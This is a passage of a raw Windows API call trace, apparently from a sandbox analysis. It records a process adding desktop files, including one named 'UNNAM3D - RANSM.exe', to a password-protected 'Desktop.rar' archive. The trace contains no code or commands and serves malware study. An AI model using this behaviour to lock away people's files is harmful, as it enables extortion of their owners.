0x1ec0dde28e0 [0069.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29d0 [0069.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde29d0 | out: hHeap=0x1ec0a590000) returned 1 [0069.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde28e0 | out: hHeap=0x1ec0a590000) returned 1 [0069.036] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2d60, Size=0x48) returned 0x1ec0a6577d0 [0069.036] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a220 [0069.036] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a223*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a223*, lpNumberOfBytesWritten=0xe414d8140*=0x71, lpOverlapped=0x0) returned 1 [0069.037] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29a0 [0069.037] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x71) returned 0x1ec0a6596f0 [0069.037] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0069.037] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a220 | out: hHeap=0x1ec0a590000) returned 1 [0069.037] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x20997a [0069.038] CloseHandle (hObject=0x350) returned 1 [0069.038] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0069.038] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.038] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0069.038] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.038] FindFirstFileW (in: lpFileName="ttLWBUDVomotx85.gif", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09230 [0069.038] FindClose (in: hFindFile=0x1ec0de09230 | out: hFindFile=0x1ec0de09230) returned 1 [0069.038] CreateFileW (lpFileName="ttLWBUDVomotx85.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\ttlwbudvomotx85.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0069.038] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.038] GetTickCount () returned 0x27248 [0069.038] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0069.038] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0069.039] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.039] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0069.039] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="y04cYW4-8JsL5Y8T29Y.xls") returned 23 [0069.039] SetWindowTextW (hWnd=0x1028c, lpString="ttLWBUDVomotx85.gif") returned 1 [0069.039] GetTickCount () returned 0x27248 [0069.039] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0069.039] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0069.040] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0069.040] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0069.040] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2e, wMilliseconds=0x20a)) [0069.040] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0069.040] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=16036863414) returned 1 [0069.040] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x7180, lpOverlapped=0x0) returned 1 [0069.040] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d90c1c0, nNumberOfBytesToRead=0xf8e80, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d90c1c0*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0069.040] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2d60 [0069.040] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde26d0 [0069.040] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde26d0, Size=0x48) returned 0x1ec0a656c90 [0069.040] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0069.040] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c70 [0069.040] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2c70, Size=0x48) returned 0x1ec0a656ab0 [0069.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0069.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0069.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde26a0 [0069.041] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2670 [0069.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2670 | out: hHeap=0x1ec0a590000) returned 1 [0069.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde26a0 | out: hHeap=0x1ec0a590000) returned 1 [0069.041] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2d60, Size=0x48) returned 0x1ec0a656c90 [0069.041] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a649ec0 [0069.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ab0 | out: hHeap=0x1ec0a590000) returned 1 [0069.041] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0069.045] GetTickCount () returned 0x27257 [0069.045] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=16037396790) returned 1 [0069.045] GetTickCount () returned 0x27257 [0069.045] GetTickCount () returned 0x27257 [0069.045] GetTickCount () returned 0x27257 [0069.045] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0069.046] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0069.046] GetFocus () returned 0x102a8 [0069.046] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0069.046] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0069.046] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0069.046] GetFocus () returned 0x102a8 [0069.046] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0069.047] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.048] ResetEvent (hEvent=0x344) returned 1 [0069.048] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.049] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.049] ResetEvent (hEvent=0x344) returned 1 [0069.049] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.051] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.051] GetTickCount () returned 0x27257 [0069.051] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16037977084) returned 1 [0069.051] GetTickCount () returned 0x27257 [0069.051] GetTickCount () returned 0x27257 [0069.051] GetTickCount () returned 0x27257 [0069.051] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0069.051] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0069.051] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.051] ResetEvent (hEvent=0x33c) returned 1 [0069.051] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.052] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0069.052] ResetEvent (hEvent=0x33c) returned 1 [0069.052] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.053] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0069.053] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0069.053] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.053] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x20997a [0069.053] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x2099e1 [0069.053] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0069.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.053] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0069.053] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0069.053] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0069.053] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x71d0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x71d0, lpOverlapped=0x0) returned 1 [0069.054] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0069.054] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.054] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2136442, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x20997a [0069.054] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x20997a [0069.054] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde27f0 [0069.054] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2970 [0069.054] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2970, Size=0x48) returned 0x1ec0a657190 [0069.054] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0069.054] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2820 [0069.054] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2820, Size=0x48) returned 0x1ec0a6573c0 [0069.054] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0069.054] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657190 | out: hHeap=0x1ec0a590000) returned 1 [0069.054] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2b80 [0069.055] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2670 [0069.055] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2670 | out: hHeap=0x1ec0a590000) returned 1 [0069.055] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2b80 | out: hHeap=0x1ec0a590000) returned 1 [0069.055] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde27f0, Size=0x48) returned 0x1ec0a6577d0 [0069.055] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a070 [0069.055] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a073*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a073*, lpNumberOfBytesWritten=0xe414d8140*=0x67, lpOverlapped=0x0) returned 1 [0069.055] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2820 [0069.055] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x67) returned 0x1ec0ddfdc20 [0069.055] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6573c0 | out: hHeap=0x1ec0a590000) returned 1 [0069.055] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a070 | out: hHeap=0x1ec0a590000) returned 1 [0069.055] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x210bb1 [0069.055] CloseHandle (hObject=0x350) returned 1 [0069.055] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0069.055] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.055] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0069.055] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.055] FindFirstFileW (in: lpFileName="UNNAM3D - RANSM.exe", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09dd0 [0069.055] FindClose (in: hFindFile=0x1ec0de09dd0 | out: hFindFile=0x1ec0de09dd0) returned 1 [0069.055] CreateFileW (lpFileName="UNNAM3D - RANSM.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\unnam3d - ransm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0069.055] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.055] GetTickCount () returned 0x27257 [0069.055] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0069.056] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0069.056] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.056] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0069.056] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="ttLWBUDVomotx85.gif") returned 19 [0069.056] SetWindowTextW (hWnd=0x1028c, lpString="UNNAM3D - RANSM.exe") returned 1 [0069.056] GetTickCount () returned 0x27257 [0069.056] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0069.056] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0069.057] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0069.057] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0069.057] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2e, wMilliseconds=0x21a)) [0069.057] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0069.057] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=16038548352) returned 1 [0069.057] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x100000, lpOverlapped=0x0) returned 1 [0069.119] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0069.119] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0069.119] GetFocus () returned 0x102a8 [0069.119] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0069.119] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.120] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2e20 [0069.120] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde26a0 [0069.120] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde26a0, Size=0x48) returned 0x1ec0a656c90 [0069.120] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0069.120] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29d0 [0069.120] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde29d0, Size=0x48) returned 0x1ec0a6577d0 [0069.120] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0069.121] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0069.121] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2e80 [0069.121] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde28b0 [0069.121] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde28b0 | out: hHeap=0x1ec0a590000) returned 1 [0069.121] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2e80 | out: hHeap=0x1ec0a590000) returned 1 [0069.121] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2e20, Size=0x48) returned 0x1ec0a6569c0 [0069.121] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649ec0 [0069.121] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0069.121] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0069.122] ReadFile (in: hFile=0x350, lpBuffer=0x1ec10056040, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0xe414dd6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ec10056040*, lpNumberOfBytesRead=0xe414dd6c0*=0x1be400, lpOverlapped=0x0) returned 1 [0069.150] GetTickCount () returned 0x272b5 [0069.150] GetLastError () returned 0x0 [0069.150] SetLastError (dwErrCode=0x0) [0069.150] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0069.150] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0069.150] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0069.150] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0069.151] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=16047997435) returned 1 [0069.151] GetTickCount () returned 0x272c5 [0069.151] GetTickCount () returned 0x272c5 [0069.151] GetTickCount () returned 0x272c5 [0069.151] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0069.152] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0069.152] GetFocus () returned 0x102a8 [0069.152] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0069.152] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0069.152] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0069.152] GetFocus () returned 0x102a8 [0069.152] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0069.153] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.153] ResetEvent (hEvent=0x344) returned 1 [0069.153] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.215] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.215] ResetEvent (hEvent=0x344) returned 1 [0069.215] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.219] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.219] ResetEvent (hEvent=0x344) returned 1 [0069.219] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.223] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.223] ResetEvent (hEvent=0x344) returned 1 [0069.223] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.226] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.226] ResetEvent (hEvent=0x344) returned 1 [0069.226] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.230] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.230] ResetEvent (hEvent=0x344) returned 1 [0069.230] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.234] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.234] ResetEvent (hEvent=0x344) returned 1 [0069.234] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.237] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.237] ResetEvent (hEvent=0x344) returned 1 [0069.238] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.241] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.241] ResetEvent (hEvent=0x344) returned 1 [0069.241] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.245] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.245] ResetEvent (hEvent=0x344) returned 1 [0069.245] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.250] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.250] ResetEvent (hEvent=0x344) returned 1 [0069.250] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.254] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.254] ResetEvent (hEvent=0x344) returned 1 [0069.254] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.339] WaitForSingleObject 